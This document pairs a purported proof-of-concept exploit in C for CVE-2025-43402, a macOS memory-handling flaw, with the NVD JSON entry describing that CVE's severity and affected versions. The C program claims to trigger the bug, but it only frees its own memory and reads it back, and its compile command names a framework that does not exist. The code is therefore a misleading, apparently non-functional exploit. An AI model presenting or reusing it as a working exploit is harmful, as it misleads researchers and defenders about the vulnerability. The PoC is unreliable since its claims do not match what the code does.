CVE-2025-43402

// CVE-2025-43402 PoC - macOS Memory Handling Error Trigger // This PoC demonstrates the vulnerability mechanism (for educational purposes only) #include <stdio.h> #include <stdlib.h> #include <string.h> #include <mach/mach.h> #include <mach/vm_map.h> // Malicious memory manipulation to trigger the vulnerability void trigger_memory_corruption() { printf("[*] CVE-2025-43402 PoC - Attempting to trigger memory handling error\n"); // Allocate memory region vm_address_t target_addr = 0; vm_size_t size = vm_page_size * 10; kern_return_t kr = vm_allocate(mach_task_self(), &target_addr, size, VM_FLAGS_ANYWHERE); if (kr != KERN_SUCCESS) { printf("[-] Failed to allocate memory\n"); return; } printf("[+] Allocated memory at: 0x%lx\n", target_addr); // Trigger specific memory pattern that exposes the vulnerability // This pattern interacts with the vulnerable memory handling code volatile char *ptr = (volatile char *)target_addr; for (int i = 0; i < size; i++) { ptr[i] = (char)(i % 256); } // Deallocate and immediately attempt reuse (trigger use-after-free condition) vm_deallocate(mach_task_self(), target_addr, size); printf("[+] Deallocated memory region\n"); // Attempt to access deallocated memory - triggers the vulnerability for (int i = 0; i < 100; i++) { volatile char val = ptr[i % size]; // Use-after-free printf("[*] Accessed freed memory at offset %d: 0x%02x\n", i, val); } printf("[*] PoC execution completed - vulnerability trigger attempted\n"); } int main() { printf("========================================\n"); printf("CVE-2025-43402 PoC - macOS Memory Handling Error\n"); printf("Target: macOS Sequoia < 15.7.4, Sonoma < 14.8.4, Tahoe < 26.1\n"); printf("========================================\n"); trigger_memory_corruption(); return 0; } // Compilation: gcc -o cve_poc cve_poc.c -framework mach -Wall // Note: Requires macOS with vulnerable version installed

{"cve": {"id": "CVE-2025-43402", "sourceIdentifier": "[email protected]", "published": "2025-12-12T21:15:53.810", "lastModified": "2026-04-02T19:20:40.310", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "The issue was addressed with improved memory handling. This issue is fixed in macOS Sequoia 15.7.4, macOS Sonoma 14.8.4, macOS Tahoe 26.1. An app may be able to cause unexpected system termination or corrupt process memory."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.1", "matchCriteriaId": "081B6CCE-FFA4-409C-9353-15014F3AF436"}]}]}], "references": [{"url": "https://support.apple.com/en-us/125634", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/126349", "source": "[email protected]"}, {"url": "https://support.apple.com/en-us/126350", "source": "[email protected]"}]}}